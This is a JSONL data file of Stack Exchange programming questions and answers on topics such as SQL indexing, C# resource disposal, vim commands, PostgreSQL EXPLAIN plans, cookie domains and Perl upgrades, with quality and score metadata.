{"id": "hf_6be13427499d", "question": "<p>We log values and we only log them once in a table. When we add values to the table we have to do a look up everytime to see if it needs to insert the value or just grab the id. We have an index on the table (not on the primary key) but there are about 350,000 rows (so it is taking 10 seconds to do 10 of these values). </p>\n\n<p>So either   </p>\n\n<ul>\n<li>We figure out a way to optimize it </li>\n<li>Strip it this feature out or </li>\n<li>Do something completely different when logging these values.</li>\n</ul>\n", "question_body": "", "answer": "Just to be clear, the index is on the (presumably varchar or nvarchar) field in the table, correct? Not the PK?\nok, after your edit: You're doing an indexed lookup on a large (n)varchar text field. Even with the index that can be pretty slow -- you're still doing 2 big string comparisons. I can't really thing of a great way to do this, but some initial SWAGS:\ncompute a hash of the to-be-logged text, and store that in the database for subsequent lookups\nas another poster suggested, store all of the rows, and filter out dupes in the query (or with a nightly batch, whatever\ndon't check for duplicates. Catching an exception may still be cheaper than the lookup*\nhire someone with a really good memory who's fast with a mouse. When a message is going to be logged, flash it to their screen with an accept/deny prompt. If the entry is a dupe, ahve them click \"deny\"\n* yeah, I know I'll be down-modded for that, but sometimes pragmatism just works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.350327"}
{"id": "hf_9afc581a5e0a", "question": "<p>I can understand the use for one level of namespaces. But 3 levels of namespaces. Looks insane. Is there any practical use for that? Or is it just a misconception?</p>\n", "question_body": "", "answer": "Big codebases will need it.  Look at boost for an example.  I don't think anyone would call the boost code 'insane'.\nIf you consider the fact that at any one level of a hierarchy, people can only comprehend somewhere very roughly on the order of 10 items, then two levels only gives you 100 maximum.  A sufficiently big project is going to need more, so can easily end up 3 levels deep.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.374763"}
{"id": "hf_1fc503489ae7", "question": "<p>What resources have to be manually cleaned up in <em>C#</em> and what are the consequences of not doing so?</p>\n\n<p>For example, say I have the following code:</p>\n\n<pre><code>myBrush = new System.Drawing.SolidBrush(System.Drawing.Color.Black);\n// Use Brush\n</code></pre>\n\n<p>If I don't clean up the brush using the dispose method, I'm assuming the garbage collector frees the memory used at program termination? Is this correct?</p>\n\n<p>What other resources do I need to manually clean up?</p>\n", "question_body": "", "answer": "Handles to internal windows data structures.\nDatabase connections.\nFile handles.\nNetwork connections.\nCOM/OLE references.\nThe list goes on.\nIt's important to call\n```\nDispose\n```\nor even better yet, use the\n```\nusing\n```\npattern.\n```\n```\nusing (SolidBrush myBrush = new System.Drawing.SolidBrush(System.Drawing.Color.Black))\n{\n    // use myBrush\n}\n```\n```\nIf you don't dispose something, it'll be cleaned up when the garbage collector notices that there are no more references to it, which may be after some time.\nIn the case of\n```\nSystem.Drawing.Brush\n```\n, Windows will keep internal windows structures for the brush loaded in memory until all programs release their handle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.432863"}
{"id": "hf_ea1bcf9b6f39", "question": "<p>I love vim and the speed it gives me. But sometimes, my fingers are too speedy and I find myself typing <code>:WQ</code> instead of <code>:wq</code>. (On a German keyboard, you have to press <kbd>Shift</kbd> to get the colon <code>:</code>.) Vim will then complain that <code>WQ</code> is <code>Not an editor command</code>.</p>\n\n<p>Is there some way to make <code>W</code> and <code>Q</code> editor commands?</p>\n", "question_body": "", "answer": "Try\n```\n```\n:command WQ wq\n :command Wq wq\n :command W w\n :command Q q\n```\n```\nThis way you can define your own commands. See\n```\n:help command\n```\nfor more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.456216"}
{"id": "hf_d5a676f9eade", "question": "<p>When programming by contract a function or method first checks whether its preconditions are fulfilled, before starting to work on its responsibilities, right? The two most prominent ways to do these checks are by <code>assert</code> and by <code>exception</code>. </p>\n\n<ol>\n<li>assert fails only in debug mode. To make sure it is crucial to (unit) test all separate contract preconditions to see whether they actually fail.</li>\n<li>exception fails in debug and release mode. This has the benefit that tested debug behavior is identical to release behavior, but it incurs a runtime performance penalty.</li>\n</ol>\n\n<p>Which one do you think is preferable?</p>\n\n<p>See releated question <a href=\"https://stackoverflow.com/questions/419406/are-assertions-good\">here</a></p>\n", "question_body": "", "answer": "Disabling assert in release builds is like saying \"I will never have any issues whatsoever in a release build\", which is often not the case. So assert shouldn't be disabled in a release build. But you don't want the release build crashing whenever errors occur either, do you?\nSo use exceptions and use them well. Use a good, solid exception hierarchy and ensure that you catch and you can put a hook on exception throwing in your debugger to catch it, and in release mode you can compensate for the error rather than a straight-up crash. It's the safer way to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.479354"}
{"id": "hf_1d49ae0d3281", "question": "<p><strong>I do not currently have this issue</strong>, but you never know, and thought experiments are always fun.</p>\n\n<p><strong>Ignoring the obvious problems that you would have to have with your architecture to even be attempting this</strong>, let's assume that you had some horribly-written code of someone else's design, and you needed to do a bunch of wide and varied operations in the same code block, e.g.:</p>\n\n<pre><code>WidgetMaker.SetAlignment(57);\ncontactForm[\"Title\"] = txtTitle.Text;\nCasserole.Season(true, false);\n((RecordKeeper)Session[\"CasseroleTracker\"]).Seasoned = true;\n</code></pre>\n\n<p>Multiplied by a hundred.  Some of these might work, others might go badly wrong.  What you need is the C# equivalent of \"on error resume next\", otherwise you're going to end up copying and pasting try-catches around the many lines of code.</p>\n\n<p>How would you attempt to tackle this problem?</p>\n", "question_body": "", "answer": "```\nOn Error Resume Next\n```\nis a really bad idea in the C# world. Nor would adding the equivalent to\n```\nOn Error Resume Next\n```\nactually help you. All it would do is leave you in a bad state which could cause more subtle errors, data loss and possibly data corruption.\nBut to give the questioner his due, you could add a global handler and check the TargetSite to see which method borked. Then you could at least know what line it borked on. The next part would be to try and figure out how to set the \"next statement\" the same way the debugger does it. Hopefully your stack won't have unwound at this point or you can re-create it, but it's certainly worth a shot. However, given this approach the code would have to run in Debug mode every time so that you would have your debug symbols included.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.502706"}
{"id": "hf_02407f103f68", "question": "<p>If there is a cookie set for a subdomain, metric.foo.com, is there a way for me to delete the metric.foo.com cookie on a request to www.foo.com? The browser (at least Firefox) seems to ignore a Set-Cookie with a domain of metric.foo.com.</p>\n", "question_body": "", "answer": "Cookies are only readable by the domain that created them, so if the cookie was created at metric.foo.com, it will have to be deleted under the same domain as it was created.  This includes sub-domains.\nIf you are required to delete a cookie from metric.foo.com, but are currently running a page at www.foo.com, you will not be able to.\nIn order to do this, you need to load the page from metric.foo.com, or create the cookie under foo.com so it can be accessable under any subdomain.  OR use this:\nResponse.cookies(\"mycookie\").domain = \".foo.com\"\n...while creating it, AND before you delete it.\n..untested - should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.559506"}
{"id": "hf_2c3ba836072c", "question": "<p>MySQL's explain output is pretty straightforward. PostgreSQL's is a little more complicated. I haven't been able to find a good resource that explains it either.</p>\n\n<p>Can you describe what exactly explain is saying or at least point me in the direction of a good resource?</p>\n", "question_body": "", "answer": "It executes from most indented to least indented, and I believe from the bottom of the plan to the top. (So if there are two indented sections, the one farther down the page executes first, then when they meet the other executes, then the rule joining them executes.)\nThe idea is that at each step there are 1 or 2 datasets that arrive and get processed by some rule.  If just one dataset, that operation is done to that data set.  (For instance scan an index to figure out what rows you want, filter a dataset, or sort it.) If two, the two datasets are the two things that are indented further, and they are joined by the rule you see. The meaning of most of the rules can be reasonably easily guessed (particularly if you have read a bunch of explain plans before), however you can try to verify individual items either by looking in the documentation or (easier) by just throwing the phrase into Google along with a few keywords like\n```\nEXPLAIN\n```\n.\nThis is obviously not a full explanation, but it provides enough context that you can usually figure out whatever you want. For example consider this plan from an actual database:\n```\n```\nexplain analyze\nselect a.attributeid, a.attributevalue, b.productid\nfrom orderitemattribute a, orderitem b\nwhere a.orderid = b.orderid\nand a.attributeid = 'display-album'\nand b.productid = 'ModernBook';\n\n------------------------------------------------------------------------------------------------------------------------------------------------------------\n\n Merge Join  (cost=125379.14..125775.12 rows=3311 width=29) (actual time=841.478..841.478 rows=0 loops=1)\n   Merge Cond: (a.orderid = b.orderid)\n   ->  Sort  (cost=109737.32..109881.89 rows=57828 width=23) (actual time=736.163..774.475 rows=16815 loops=1)\n         Sort Key: a.orderid\n         Sort Method:  quicksort  Memory: 1695kB\n         ->  Bitmap Heap Scan on orderitemattribute a  (cost=1286.88..105163.27 rows=57828 width=23) (actual time=41.536..612.731 rows=16815 loops=1)\n               Recheck Cond: ((attributeid)::text = 'display-album'::text)\n               ->  Bitmap Index Scan on (cost=0.00..1272.43 rows=57828 width=0) (actual time=25.033..25.033 rows=16815 loops=1)\n                     Index Cond: ((attributeid)::text = 'display-album'::text)\n   ->  Sort  (cost=15641.81..15678.73 rows=14769 width=14) (actual time=14.471..16.898 rows=1109 loops=1)\n         Sort Key: b.orderid\n         Sort Method:  quicksort  Memory: 76kB\n         ->  Bitmap Heap Scan on orderitem b  (cost=310.96..14619.03 rows=14769 width=14) (actual time=1.865..8.480 rows=1114 loops=1)\n               Recheck Cond: ((productid)::text = 'ModernBook'::text)\n               ->  Bitmap Index Scan on id_orderitem_productid  (cost=0.00..307.27 rows=14769 width=0) (actual time=1.431..1.431 rows=1114 loops=1)\n                     Index Cond: ((productid)::text = 'ModernBook'::text)\n Total runtime: 842.134 ms\n(17 rows)\n```\n```\nTry reading it for yourself and see if it makes sense.\nWhat I read is that the database first scans the\n```\nid_orderitem_productid\n```\nindex, using that to find the rows it wants from\n```\norderitem\n```\n, then sorts that dataset using a quicksort (the sort used will change if data doesn't fit in RAM), then sets that aside.\nNext, it scans\n```\norditematt_attributeid_idx\n```\nto find the rows it wants from\n```\norderitemattribute\n```\nand then sorts that dataset using a quicksort.\nIt then takes the two datasets and merges them.  (A merge join is a sort of \"zipping\" operation where it walks the two sorted datasets in parallel, emitting the joined row when they match.)\nAs I said, you work through the plan inner part to outer part, bottom to top.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.622412"}
{"id": "hf_e8e7de3efd34", "question": "<p>How far do you go with <code>const</code>?  Do you just make functions <code>const</code> when necessary or do you go the whole hog and use it everywhere?  For example, imagine a simple mutator that takes a single boolean parameter:</p>\n\n<pre><code>void SetValue(const bool b) { my_val_ = b; }\n</code></pre>\n\n<p>Is that <code>const</code> actually useful?  Personally I opt to use it extensively, including parameters, but in this case I wonder if it's worthwhile?</p>\n\n<p>I was also surprised to learn that you can omit <code>const</code> from parameters in a function declaration but can include it in the function definition, e.g.:</p>\n\n<p><strong>.h file</strong></p>\n\n<pre><code>void func(int n, long l);\n</code></pre>\n\n<p><strong>.cpp file</strong></p>\n\n<pre><code>void func(const int n, const long l)\n</code></pre>\n\n<p>Is there a reason for this? It seems a little unusual to me.</p>\n", "question_body": "", "answer": "The reason is that\n```\nconst\n```\nfor the parameter only applies locally within the function, since it is working on a copy of the data. This means the function signature is really the same anyways. It's probably bad style to do this a lot though.\nI personally tend to not use\n```\nconst\n```\nexcept for reference and pointer parameters. For copied objects it doesn't really matter, although it can be safer as it signals intent within the function. It's really a judgement call. I do tend to use\n```\nconst_iterator\n```\nthough when looping on something and I don't intend on modifying it, so I guess to each his own, as long as\n```\nconst\n```\ncorrectness for reference types is rigorously maintained.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.646549"}
{"id": "hf_9ff32f8513a7", "question": "<p>Say I have a table in a SQL 2005 database with 2,000,000+ records and a few indexes.  What advantage is there to using index hints in my queries?  Are there ever disadvantages to using index hints in queries?</p>\n", "question_body": "", "answer": "First, try using SQL Profiler to generate a .trc file of activity in your database for a normal workload over a few hours.  And then use the \"Database Engine Tuning Advisor\" on the SQL Server Management Studio Tools menu to see if it suggests any additional indexes, composite indexes, or covering indexes that may be beneficial.\nI never use query hints and mostly work with multi-million row databases.  They sometimes can affect performance negatively.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.669426"}
{"id": "hf_bc597fe4b7df", "question": "<p>I work with a bunch of sets in order to generate constrained random traffic, but I want to be able to call a Specman macro that computes the complement of a set with syntax like:</p>\n\n<pre><code>COMPLEMENT begin \n   domain=[0..10,24..30],\n   complementing_set=[2..3,27..30] \nend\n</code></pre>\n\n<p>and have it generate:</p>\n\n<pre><code>[0..1,4..10,24..26]\n</code></pre>\n\n<p>Every time I need the complement of a set I'm using fully populated lists (e.g. {0;1;2;3....} ) and then removing elements, instead of using Specman's built-in int_range_list object.  And I'm also doing a lot of these set calculations at run-time instead of compile-time.</p>\n", "question_body": "", "answer": "You can try this:\n```\n```\nvar domain: list of int = {0..10, 24..30}; \nvar complementing_set: list of int = {2..3, 27..30};\nvar complement: list of int = domain.all(it in complementing set);\n```\n```\nThe\n```\nall\n```\npseudo-method generates a sublist of the parent list of all the elements in the parent list for which the condition in the parentheses holds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.692034"}
{"id": "hf_06edf4a4d7cd", "question": "<p>Let's assume that some developer in my team shelved his changes that he did in branch A. And I am working on branch B. Can I unshelve his changes into branch B? (By GUI or command prompt) </p>\n", "question_body": "", "answer": "The shelf information includes the specific path it goes to.  Unfortunately I don't know of any automatic way to unshelve to any location other than the one it was shelved to.  The times I've wanted to do this I had to check out the equivalent files in the new branch, unshelve from the old branch, then manually copy the files over.\nEDIT:  Well, I guess I was doing it the hard way.  I'll have to try out Curt's solution. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.742260"}
{"id": "hf_93de9648b394", "question": "<p>I'm using Express currently. What extra features do I get with the full edition?</p>\n", "question_body": "", "answer": "Most of the High-Availability options are missing from the Express Edition. The Express\neditions\nare great for development purposes. Here's the comparison facts:\nhttp://www.microsoft.com/sql/prodinfo/features/compare-features.mspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.777471"}
{"id": "hf_da16a2e85199", "question": "<p>I've currently got multiple select's on a page that are added dynamically with <code>ajax</code> calls using jquery.</p>\n\n<p>The problem I've had is I could not get the change event to work on the added select unless I use the <code>onchange</code> inside the tag e.g. </p>\n\n<pre><code>&lt;select id=\"Size\" size=\"1\" onchange=\"onChange(this);\"&gt;\n</code></pre>\n\n<p>This works, but I'm wondering if there's a way to get it to be assigned by jquery. I've tried using <code>$('select').change(onChange($(this));</code> in the usual place of <code>$(document).ready</code> but that didn't work.</p>\n\n<p>I've tried adding the event with bind after the ajax call but that did not work either.</p>\n\n<p>Any better way to assign the event?</p>\n", "question_body": "", "answer": "$('select').change(onChange($(this));\nYou need to understand the difference between calling a function and passing it around as an object.  Functions are first-class objects in JavaScript, they are an object just like anything else, so they can be stored in variables, passed as arguments to other functions, and so on.\nThe code as you have it calls the onChange function, and gives the result to jQuery's change function.  You don't want that.  The idea is to pass\nthe function itself\nto jQuery's change function, and jQuery calls it when it is appropriate to do so.\nWhen you have parentheses - () - after a function's name, then you are calling it.  Otherwise, you are treating it as an object.  So what you\nintend\nto do can be accomplished like this:\n```\n```\n$('select').change(onChange);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.838924"}
{"id": "hf_8d04c44f8490", "question": "<p>I have an script that receives an encrypted url and from that generates a download, the most critic par of the script is this:</p>\n\n<pre><code>$MimeType = new MimeType();\n$mimetype = $MimeType-&gt;getType($filename);\n$basename = basename($filename);\nheader(\"Content-type: $mimetype\");\nheader(\"Content-Disposition: attachment; filename=\\\"$basename\\\"\");\nheader('Content-Length: '. filesize($filename));\nif ( @readfile($filename)===false ) {\n  header(\"HTTP/1.0 500 Internal Server Error\");\n  loadErrorPage('500');\n}\n</code></pre>\n\n<p>Downloads works as charm in any Browser except IE, I have seen problems related to 'no-cache' headers but I don't send anything like that, they talk about utf-8 characters, but there is not any <code>utf-8 characters</code>(and the $filename has not any utf-8 characteres neither).</p>\n", "question_body": "", "answer": "This site\nhas a problem similar to yours in IE6. To summarize:\nsession_start() by default sends a cache control header including \"no-store\".\n  Internet Explorer takes this a bit too literally, but doesn't have appropriate\n  error handling for the case, and as a result explodes cryptically when you\n  attempt to save the output page to disk.\nBefore session_start(), add \"session_cache_limiter('none');\", or look up that\n  function and tweak the limiter as appropriate (probably 'private' is closer to\n  the mark).\nI realize the code snippet you posted does not include a call to\n```\nsession_start();\n```\n, but I figured I'd share this possible solution in case you do have a call to it and just didn't show us.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.873990"}
{"id": "hf_0f2c386eb7f0", "question": "<p>I'm successfully using VBScript within WScript to remotely read and write IIS configurations from the server. When I attempt to run these same scripts from my desk box they fail, though. Example:</p>\n\n<pre><code>Dim vdir\nSet vdir = GetObject(\"IIS://servername/w3svc/226/root\")\n</code></pre>\n\n<p>Error = \"Invalid syntax\"</p>\n\n<p>The code works perfectly when run from one IIS server to another, but I'd like to run it from my XP Workstation. It would seem reasonable that there's a download of ADSI available that will make things work from my desktop, but I cannot find one. I downloaded <a href=\"http://www.microsoft.com/downloads/details.aspx?familyid=9688F8B9-1034-4EF6-A3E5-2A2A57B5C8E4&amp;displaylang=en\" rel=\"nofollow noreferrer\">ADAM</a> but that only got me a small portion of the functionality I need. </p>\n\n<p>Any hints out there? Thank you. </p>\n", "question_body": "", "answer": "That could be tough to do what you want.  You can import a git repo into svn via something like this:\nhttp://code.google.com/p/support/wiki/ImportingFromGit\n, but I think you will have conflicts.  You could just recreate your SVN repo from scratch based on your git repo.\nFor future reference, it probably would've been easier to just use Git as an SVN client:\n```\n```\ngit-svn clone path/to/your/svn/repo\ngit-commit -a -m 'my small change'\nvi some files to change.txt\ngit-commit -a -m 'another small change' \ngit-svn dcommit # sends your little changes as individual svn commits\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.907397"}
{"id": "hf_70d479b9174c", "question": "<p>What is the best way to handle large numeric inputs in C++ (for example <code>10^100</code>)? </p>\n\n<p>For algorithms I usually switch over to ruby and I sometimes use strings.</p>\n\n<p>Any other good methods?</p>\n", "question_body": "", "answer": "assuming you are talking about inputting numbers, double precision would get you up to 1.7976931348623157 x 10^308", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:48.985582"}
{"id": "hf_d0ddde629ea0", "question": "<p>Basically what the title says. (Forgive me because I am a .NET newb)</p>\n\n<p>In my department, we have a server running .net 3.5 and ever since I got into this section I have been using LINQ.  However, I am starting a personal project on a different server (obviously), so 2 questions: </p>\n\n<p>What do I need to get up and running with LINQ? </p>\n\n<p>What does the server need to run LINQ? </p>\n\n<p>Will .net 2.0 work on the server? </p>\n\n<p>The code behind would be C# if that matters. </p>\n\n<p><strong>Edit:</strong>\nWould I have to compile it in 3.5 or would 2.0 work?</p>\n", "question_body": "", "answer": "I'm assuming you're talking about\nLINQ to SQL\nspecifically.\nYou would only need v3.5 of the framework installed on your development machine and the server.\nThe server doesn't run linq; linq will in the end send SQL statements to your server.\nThe language doesn't matter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.005975"}
{"id": "hf_f3688d323ed4", "question": "<p>I want alwaysPositive to be assigned a positive number with all possible values for lareValue1 and largeValue2 (these are at least 1).</p>\n\n<p>The following statement causes a buffer overflow:</p>\n\n<pre><code>int alwaysPositive = (largeValue1 + largeValue2) / 2;\n</code></pre>\n\n<p>I know I can prevent it by substracting and adding:</p>\n\n<pre><code>int alwaysPositive = largeValue1 + ((largeValue2 - largeValue1) / 2);\n</code></pre>\n\n<p>But in other programming languages I can use an unsigned bitshift to do the trick:</p>\n\n<pre><code>int alwaysPositive3 = (largeValue1 + largeValue2) &gt;&gt;&gt; 1;\n</code></pre>\n\n<p>How can I do this in C#?</p>\n\n<hr>\n\n<p>The answers below all solve the problem. There are probably lots of ways to do this, but they all (including my solutions) have one thing in common: they all look obfuscated. </p>\n", "question_body": "", "answer": "You could use uints:\n```\n```\nuint alwaysPositive = (uint)(largeValue1 + largeValue2) / 2;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.030129"}
{"id": "hf_d0f0916f2a28", "question": "<p>I need to find a way to crawl one of our company's web applications and create a static site from it that can be burned to a cd and used by traveling sales people to demo the web site. The back end data store is spread across many, many systems so simply running the site on a VM on the sale person's laptop won't work. And they won't have access to the internet while at some clients (no internet, cell phone....primitive, I know).</p>\n\n<p>Does anyone have any good recommendations for crawlers that can handle things like link cleanup, flash, a little ajax, css, etc? I know odds are slim, but I figured I'd throw the question out here before I jump into writing my own tool.</p>\n", "question_body": "", "answer": "By using a\nWebCrawler\n, e.g. one of these:\nDataparkSearch is a crawler and search engine released under the GNU General Public License.\nGNU Wget is a command-line operated crawler written in C and released under the GPL. It is typically used to mirror web and FTP sites.\nHTTrack uses a Web crawler to create a mirror of a web site for off-line viewing. It is written in C and released under the GPL.\nICDL Crawler is a cross-platform web crawler written in C++ and intended to crawl websites based on Website Parse Templates using computer's free CPU resources only.\nJSpider is a highly configurable and customizable web spider engine released under the GPL.\nLarbin by Sebastien Ailleret\nWebtools4larbin by Andreas Beder\nMethabot is a speed-optimized web crawler and command line utility written in C and released under a 2-clause BSD License. It features a wide configuration system, a module system and has support for targeted crawling through local filesystem, HTTP or FTP.\nJaeksoft WebSearch is a web crawler and indexer build over Apache Lucene. It is released under the GPL v3 license.\nNutch is a crawler written in Java and released under an Apache License. It can be used in conjunction with the Lucene text indexing package.\nPavuk is a command line web mirror tool with optional X11 GUI crawler and released under the GPL. It has bunch of advanced features compared to wget and httrack, eg. regular expression based filtering and file creation rules.\nWebVac is a crawler used by the Stanford WebBase Project.\nWebSPHINX (Miller and Bharat, 1998) is composed of a Java class library that implements multi-threaded web page retrieval and HTML parsing, and a graphical user interface to set the starting URLs, to extract the downloaded data and to implement a basic text-based search engine.\nWIRE - Web Information Retrieval Environment [15] is a web crawler written in C++ and released under the GPL, including several policies for scheduling the page downloads and a module for generating reports and statistics on the downloaded pages so it has been used for web characterization.\nLWP::RobotUA (Langheinrich , 2004) is a Perl class for implementing well-behaved parallel web robots distributed under Perl 5's license.\nWeb Crawler Open source web crawler class for .NET (written in C#).\nSherlock Holmes Sherlock Holmes gathers and indexes textual data (text files, web pages, ...), both locally and over the network. Holmes is sponsored and commercially used by the Czech web portal Centrum. It is also used by Onet.pl.\nYaCy, a free distributed search engine, built on principles of peer-to-peer networks (licensed under GPL).\nRuya Ruya is an Open Source, high performance breadth-first, level-based web crawler. It is used to crawl English and Japanese websites in a well-behaved manner. It is released under the GPL and is written entirely in the Python language. A SingleDomainDelayCrawler implementation obeys robots.txt with a crawl delay.\nUniversal Information Crawler Fast developing web crawler. Crawls Saves and analyzes the data.\nAgent Kernel A Java framework for schedule, thread, and storage management when crawling.\nSpider News, Information regarding building a spider in perl.\nArachnode.NET, is an open source promiscuous Web crawler for downloading, indexing and storing Internet content including e-mail addresses, files, hyperlinks, images, and Web pages. Arachnode.net is written in C# using SQL Server 2005 and is released under the GPL.\ndine is a multithreaded Java HTTP client/crawler that can be programmed in JavaScript released under the LGPL.\nCrawljax is an Ajax crawler based on a method which dynamically builds a `state-flow graph' modeling the various navigation paths and states within an Ajax application. Crawljax is written in Java and released under the BSD License.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.052766"}
{"id": "hf_dd5c151f6975", "question": "<p>From time to time, I need to dump USB traffic under Windows, mostly to support hardware under Linux, so my primary goal is to produce dump files for protocol analysis.</p>\n\n<p>For USB traffic, it seems that <a href=\"https://web.archive.org/web/20151218000528/http://www.pcausa.com/Utilities/UsbSnoop/default.htm\" rel=\"noreferrer\">SniffUsb</a> is the clear winner... It works under Windows&nbsp;XP (but <em>not</em> later) and has a much nicer GUI than earlier versions. It produces <em>huge</em> dump files, but everything is there.</p>\n\n<p>However, my device is in fact a USB serial device, so I turned to <a href=\"http://technet.microsoft.com/en-us/sysinternals/bb896644.aspx\" rel=\"noreferrer\">Portmon</a> which can sniff serial port traffic without the USB overhead.</p>\n", "question_body": "", "answer": "Personally, I'd use\nQEMU\nor\nKVM\nand instrument their USB passthrough code, and then use\nlibusb\nto prototype the replacement driver in user space (this latter bit I've done before;\nwriting USB device drivers in Python\nis fun!).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.098903"}
{"id": "hf_d1cbc8ec671f", "question": "<p>At work I'm using Perl 5.8.0 on Windows.</p>\n\n<p>When I first put Perl on, I went to CPAN, downloaded all the sources, made a few changes (in the .MAK file(?) to support threads, or things like that), and did <code>nmake</code> / <code>nmake test</code> / <code>nmake install</code>. Then, bit by bit, I've downloaded individual modules from CPAN and done the nmake dance.</p>\n\n<p>So, I'd like to upgrade to a more recent version, but the new one must not break any existing scripts. Notably, a bunch of \"use\" modules that I've installed must be installed in the new version.</p>\n\n<p>What's the most reliable (and easiest) way to update my current version, ensuring that everything I've done with the nmake dance will still be there after updating?</p>\n", "question_body": "", "answer": "When I did it I installed the newer one into a separate directory.  There's a bit of added confusion running two versions, but it definitely helps make sure everything's working first, and provides a quick way of switching back to the old one in a pinch.  I also set up Apache to run two separate services, so I could monkey around with the newer Perl in one service without touching the production one on the old Perl.\nIt's probably a lot wiser, in hindsight, to install on a separate computer, and do your testing there. Record every configuration change you need to make.\nI am not sure about building it yourself—I always just used prepackaged binaries for Windows.\nI'm not sure I understand exactly what you're asking. Do you have a list of changes you made to the 5.8 makefile? Or is the question how to obtain such a list? Are you also asking how to find out which packages above the base install you've obtained from CPAN? Are you also asking how to test that your custom changes won't break those packages if you get them from CPAN again?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.131880"}
